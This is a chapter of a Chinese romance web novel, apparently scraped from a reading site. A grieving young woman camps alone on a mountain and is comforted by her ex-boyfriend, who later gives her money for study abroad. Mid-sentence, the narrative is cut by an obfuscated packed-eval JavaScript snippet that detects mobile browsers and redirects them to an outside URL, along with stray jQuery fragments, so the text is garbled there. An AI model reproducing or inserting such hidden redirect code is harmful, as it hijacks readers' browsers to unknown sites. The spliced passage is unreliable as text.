五感好像都在渐渐消失,耳边似乎若有若无地传来警笛的声音,还有吴如冬父母撕心裂肺的脚步声和嘶吼声,她睁着没有焦距的眼睛,眼前却一片漆黑,苏琬压在自己身上,捂住了自己的眼睛,轻声流着泪在她耳边说,“别看。” 193. 第 193 章 黄怀予穿着冲锋衣,背着登山包,气喘吁吁地走在夜晚的山间。 这是楚门楚港区的一座小山,叫月亮山。小时候经常有大人带着她来爬,近几年也时常有年轻人过来露营。山路宽敞平和,路边还有垃圾桶。 深秋夜晚的山林里,更深露重,寒意侵袭,冷风吹过她的头发,直往脖颈里钻。 站直身体,往下望去,下方漆黑一片,全是密密麻麻的原林,枝干交错横生,汇成一大片林海,在夜风的吹拂下微微摇晃,发出阵阵鬼哭狼嚎的声音,像是恐怖片里的杀人抛尸地点。 背上的包很重,装了很多东西。她走着走着已经出了汗,喘着粗气。抬起头,前方有小小的路灯,发出微弱的荧黄的光芒,照亮了前方的山路。 身后传来若有若无的很轻的脚步声。 一直跟着她。 她听得清清楚楚。 黄怀予往前走,身后那人也跟着往前走。黄怀予停下脚步,身后那人也跟着停下。 她站定,朝身后望去。 一个高高瘦瘦的人影站在她身后不远处,似乎也背了包和各种登山装备,只是路边路灯光线实在是太过昏暗,只能看见那人高大清瘦的模糊身影,却看不清他的脸。 黄怀予沉默地盯了他几秒钟。然后收回目光,继续往山上走。 …… 到山上了。周围没人,这是一个可以露营的宽敞平台。 她擦擦额头的汗,把沉重的行李包放下来,然后坐在地上开始扎帐篷。动作很不熟练,看上去是第一次,但是对着说明书一点点地上手也算完成了。 她掏出一个小的折叠椅,坐下。 又掏出一个折叠小桌子,打开,放在自己面前。 随后就开始望着夜空发呆。 天凉如水,郊区山林的夜晚非常安静,夜空像是一副深蓝色的画卷,繁星满天,星星点点缀成浩瀚的银河。夜晚的风吹过,山下层层林海随风荡起波浪,不远处的山体变成了巨大的黑色的怪兽,沉默地伏在渺小的人面前。头顶一轮黯淡的月,风轻云淡,宁静寂然。 她安静地坐着,感到一股前所未有的舒适和平静。 大自然把她紧紧包裹环绕,这里没有人,只有她,和天上的月,天边的星,脚下的山,林间的风。 “真美啊。”黄怀予呢喃道。 这是她第二次来山上看星星,上一次是毕业旅行在在帝都长城的时候。也许是因为那一次的记忆太美好,所以当她遇到了痛苦煎熬之事、快要无法忍受之时,她几乎是条件反射般本能地一个人上了山,想要从大自然里寻求一些解脱。 “有一种说法,说死掉的人,就会变成天上的星星。” 她从包里掏出一个小小的纸盒,从里面拿出一个很小很小的蛋糕。这蛋糕很丑,奶油画的歪歪扭扭的,看上去极其难吃。 她把蛋糕放在自己面前的小桌子上,又掏出一根蜡烛。 “吃蛋糕吗?给你做的。” 黄怀予看着天上的星星,又低头,把这根蜡烛插进蛋糕上,看着看着就笑了,“对不起,我做的太丑了。算了,反正你也吃不了,是我自己吃。哈哈哈。” “啪——”打火机的声音响起,蜡烛被点燃,发出温暖的亮黄色的光芒,她那张憔悴疲累、苍白呆滞的脸也逐渐被暖意融融的蜡烛光围绕起来,在她清亮的瞳孔里跳着雀跃的火焰。 这小小的温暖的光芒像是这寒夜里唯一的光明温暖所在,黄怀予愣愣地看着这团火焰,轻声说: “生日快乐。” 她吹灭蜡烛,把蜡烛拔出来,拿出一个勺,开始吃蛋糕。 才放进嘴里的第一秒,她就狠狠皱了皱眉,“真难吃。” 奶油呛到了喉管里,她猝不及防开始剧烈咳嗽,眼泪都被咳了出来。 她继续往嘴里塞蛋糕,塞得满满的,腮帮子都鼓起来,像一只仓鼠。 太难吃了,可是她像是没有味觉一般机械地往嘴里塞着食物,直到把一整个蛋糕全部塞进了嘴里。 刚刚被呛出了眼泪,她用手背蹭了蹭眼角,可是眼泪怎么擦不完,泉水似地涌出来。 喉间涌上强烈的涩意,鼻子酸涩无比,眼前越来越模糊,喉咙难受到连往下吞咽的动作都极其艰难,她缩成一团把自己抱住,跪在地上失声痛哭,像山间无家可归的孤魂野鬼。 食物在口腔里肆意翻滚,过量的食物堵在喉咙里,难受得她几乎要窒息。她一边剧烈咳嗽一边痛哭,整个人都跪趴在地上,双手陷进肮脏湿润的黑色泥土里,山林间土地的寒意透过层层叠叠的泥土和风化的岩石穿过她的手掌皮肤一路刺进心脏里。 “吐出来。” 她的脸忽然被一双带着凉意的大手捧起来。 下巴被轻轻掐住,在她条件反射般把食物吐出来之前,已经有一只手在她嘴边接住了所有她吐出来的东西。 那只手把东西扔进了一旁的纸盒里,随意用纸巾擦了一下,随后就拧开了一瓶水的瓶盖,温柔地喂到她唇边,一点点喂她喝了进去。 她头晕脑胀,睫毛上沾着泪珠,脸色苍白,几乎是乖乖地任那人摆弄。身体被整个凌空抱起来,放在了身后一处半人高的大石上,石头表面冰冷,刺得她一抖。 “冷?” 那人动作一顿,迅速脱下了自己身上的外套,垫在了石头上,又把她抱着放上去。 她坐在上面,高度刚好到那人胸前。 双腿膝盖突然被人打开,他不由分说地就插进了她两腿之间站着,双手在她背后轻轻抚摸,下一秒她就往前陷入了一个带着点凉意的怀抱里。 “我在。别怕。” 楚恒大手一点点揉着她的后脑勺,发丝柔软,缠绕在他修长白皙的手指上。 怀里的女孩闭着眼睛,一句话也不说,满脸都是未干的泪痕,脸色苍白,鼻尖红红的,安安静静埋在他胸前。她搂起来很瘦,小到几乎可以整个人埋进他的怀里,他抚摸着她后背,几乎可以摸见薄薄布料下突起的蝴蝶骨。 楚恒皱了皱眉。 怎么会瘦成这样?她一米六八的个子,经常跑步运动,食量也大,明明那么健康,明明阳光活力。 心像是塌了一块般软下去,一股说不清道不明的酸涩几乎要把他胸腔填满。 他眸色沉沉,又拿起旁边毛毯裹住她,把她整个人按在自己怀里,轻柔地吻她的发顶。 “天上有很多星星。很漂亮。” 他轻声说。 “要看看吗?” “TA们都很自由,变成了永恒的光明。” “只要我们觉得疲累,抬头看看夜空,前方的路就会被星星照亮。” 怀里的人抖了一下。 随后,抓着他胸口布料的手指开始一点点缩紧,慢慢传出压抑的哭声。 起初哭声很小,慢慢哭声越来越大,她哭得抽噎,哭得上气不接下气,呜呜咽咽,浑身都在抽动,眼泪打湿了他胸前的衣服。 她开始用力挣扎,楚恒低着头箍紧手臂不让她动。 她挣扎得厉害,伸出手用力打他。她浑身上下都没什么力气,打人也一点不疼,他表情没变,抿着唇默默受了,大掌缓慢地从她发顶往下抚摸,一遍遍,不厌其烦。 感觉到怀里的人慢慢减小了挣扎,他更加用力地抱住她,俯首在她耳边,“还有什么想说的吗?” 怀里的人停了停,一直沉默,半晌过后,楚恒才听见胸前传出一声很小很小的声音。 “说了,星星会听见吗?” 是一个疑问句,带着强烈的不确定,尾音很弱,夹杂着哭过的沙哑。 “嗯。听得见的。”他吻过她的耳畔,哄着说。 楚恒本以为她会说很多话,比如一些以前没来得及对故人说出口的话,比如一些抱歉,比如希望自己和自己爱的人都平安,等等。 却没想到,怀里的人动了动,埋在自己胸前。她声音很小,刚刚哭过还带着哑。 “我想对星星说,毕业快乐。”她一字一字说。 * 黄怀予从没想过自己会经历这样一个场景。 就是在山顶上被前男友抱着挤在小小的帐篷里睡了一晚上,然后第二天睡醒之后发现自己已经躺在望湖山庄高档湖景房的巨大床上。 而前男友就施施然坐在床边,垂眸盯着她看。 黄怀予吓得打了个哆嗦,下床后慌慌张张站起来,还没想好要说什么话,就看见楚恒皱了皱眉,目光落在自己光裸的踩在地毯上的脚上,随后弯下腰半跪在她身前,把拖鞋放在自己脚边摆正。 “穿鞋。” “……”黄怀予想说的话堵在喉咙里,先闭嘴,然后低头乖乖把鞋穿上了。 她脑子里乱糟糟的,满脑子都是昨天晚上被他紧紧抱在怀里时闻到的他身上的那股轻轻浅浅的香味,以及他炙热的体温。 她果然没什么动手天赋,一个帐篷搭得歪七硕八,夜晚山里风大,帐篷差点被吹飞,她困意正浓,眯着眼看他坐起身,出去重新整理帐篷,手电筒暗淡摇晃的光下,他高高瘦瘦的身影蹲在外面,棱角分明的侧面对着她,脸上表情认真而专注,没过几分钟就把帐篷弄好了。 弯腰钻进来的那一瞬间,他正好与她看过去的眼神对上。 脚步停滞一瞬,他嘴角勾起一个笑,那双桃花眼里水意融融,闪着柔光的潋滟。 “醒了?”他重新躺过来,把她揽进怀里,温热的呼吸洒在她耳边,低沉的声音在耳畔响起,“偷看我?” 黄怀予脸突然很烫,她没理他,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720625|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头往他怀里钻得更深了一些。他像是心情很好地笑了一声,垂下眸,在她耳边轻轻吻了一下。 ……黄怀予最后的记忆就到这里了。看来她睡眠质量真是够好的,楚恒是怎么在第二天把她弄下山、又一路开到望湖山庄把她抱上床的,这一整个过程她都一概不知。 “怎么低头看着拖鞋发呆?”头顶响起他的声音。 黄怀予回过神来。她慢吞吞地开口,“你刚刚坐在床边盯着我看干什么。” 他很快回复,“有话要问你。” “去留学的所有花费大概是多少。” 黄怀予迷惑地抬起头,正好对上楚恒那双黑亮沉静的眸子。她一愣,随后立即反应过来,他是要给她钱吗?她突然有些不知所措起来。 “……看,看几年能毕业吧。还要看能不能申请到奖学金,还要看是什么地区什么学校,也要看最近的汇率……” 她结结巴巴说了一大堆,全是无用信息,话还没说完,就被楚恒递过来的一张卡打断。 “这里面有一百万。” 黄怀予呆了。 一百万?她这辈子都没见过这么多钱。外婆虽然跟她说让她不要有后顾之忧,但是她知道家里这么多年下来最多也就不到三十万的存款,这还是这么多年下来外婆外公攒的钱。 她愣愣地看着那张卡,再微微往上看向楚恒骨节分明的手,再往上,只看见楚恒正在直直地凝视她,眼神专注,瞳孔明亮,但是却饱含着很多她看不懂的深刻情绪。 她此刻很想说我不能花你的钱,但是事实告诉她,如果有了这些钱,家里存款都可以不用动,自己去留学可以不用紧巴巴地调整预算。 楚恒不缺这些钱,而她很缺。 黄怀予不知道为什么情绪就变得有点低落,慢慢开口: “这是你的钱,就当是我管你借的,我以后毕业了工作了就会还——” 她的嗫嚅再次被他强势地打断。 “不要跟我说什么你和我。” 他很少这样强硬,语气这样不容置疑,这样坚定果断。 黄怀予低着头,不知道在想些什么,然后就感觉到面前的人突然欺近,然后裤子口袋就被塞了一个硬硬的卡式的东西。 “密码是170831。” 黄怀予低头看着那张被他塞进来的卡,脑子嗡嗡的,只觉得那个裤子口袋有千斤重,她挠挠头,根本来不及思考就蹦出来一句: “你的生日啊?” 话音刚落,她就感觉到气氛一下子降至冰点,她有些慌张抬起头,只看见楚恒骤然拉下来的嘴角,以及有些受伤的神情。 “你觉得这是我的生日?” “不是不是!1999年12月30号!魔羯座!喜欢黑色!不吃桃子!” “……”楚恒刚刚还很冷的神色突然如同冰雪消融,眼睛里闪过惊讶,随后马上眼底就浮现出星星点点的光芒,像是夜空中明亮的星,专注而温柔,浓烈的爱意几乎要盈溢而出。 黄怀予本来还在观察他的脸色,却发现男人英俊的脸突然在她眼前放大—— 她被楚恒用力抱住,手臂也被他的双臂狠狠箍住,鼻间瞬间充斥着他身上的味道。 他的动作带着不管不顾的强硬,带着忍耐许久的渴望,拥抱像一张细密却不容逃脱的网,她很轻易地就被裹挟其中,炙热的体温从两人皮肤相触地地方慢慢传导过来。 她僵住两秒,有点不习惯地挣扎了一下。 这是一个很正式标准的拥抱。 这个拥抱隔了太久,隔了一年多,隔了四百多个日日夜夜。 她已经不习惯和他拥抱的感觉。 这种和喜欢的人全心全意身体接触的感觉,荷尔蒙和多巴胺在她眼前像无数个带着翅膀的天使一样飞来飞去。楚恒身上熟悉的味道像无处不在的空气充斥她所有感官。 所有现实的罪恶的丑陋的世俗欲望和烦恼被打得落花流水,她那用来计算了无数性价比、金钱、学历、工作、等级的早已经身经百战的大脑,此时此刻却瞬间陷入瘫痪,再也无法工作,只能在巨大的深情洪流中举起惨淡的白旗。 楚恒察觉到她小小的挣扎,更加用力地将她箍住,头深深地埋在她的耳后,蹭她的颈窝,呼出的热气丝丝麻麻钻进她的身体里。 ……好吧。 黄怀予放弃挣扎。 她闭上了眼睛。 她听见了两个人的心跳。 “咚咚咚”,隔着紧密贴合的胸膛,隔着互相摩擦的衣服,在沉默的空气里奏响盛大的交响曲。 楚恒含吮上她的耳垂的时候,她已经失去任何行为能力,整个人软软地靠在他身上,闭着眼心甘情愿沉溺在浪花里。 她胡思乱想着,想死在这一刻。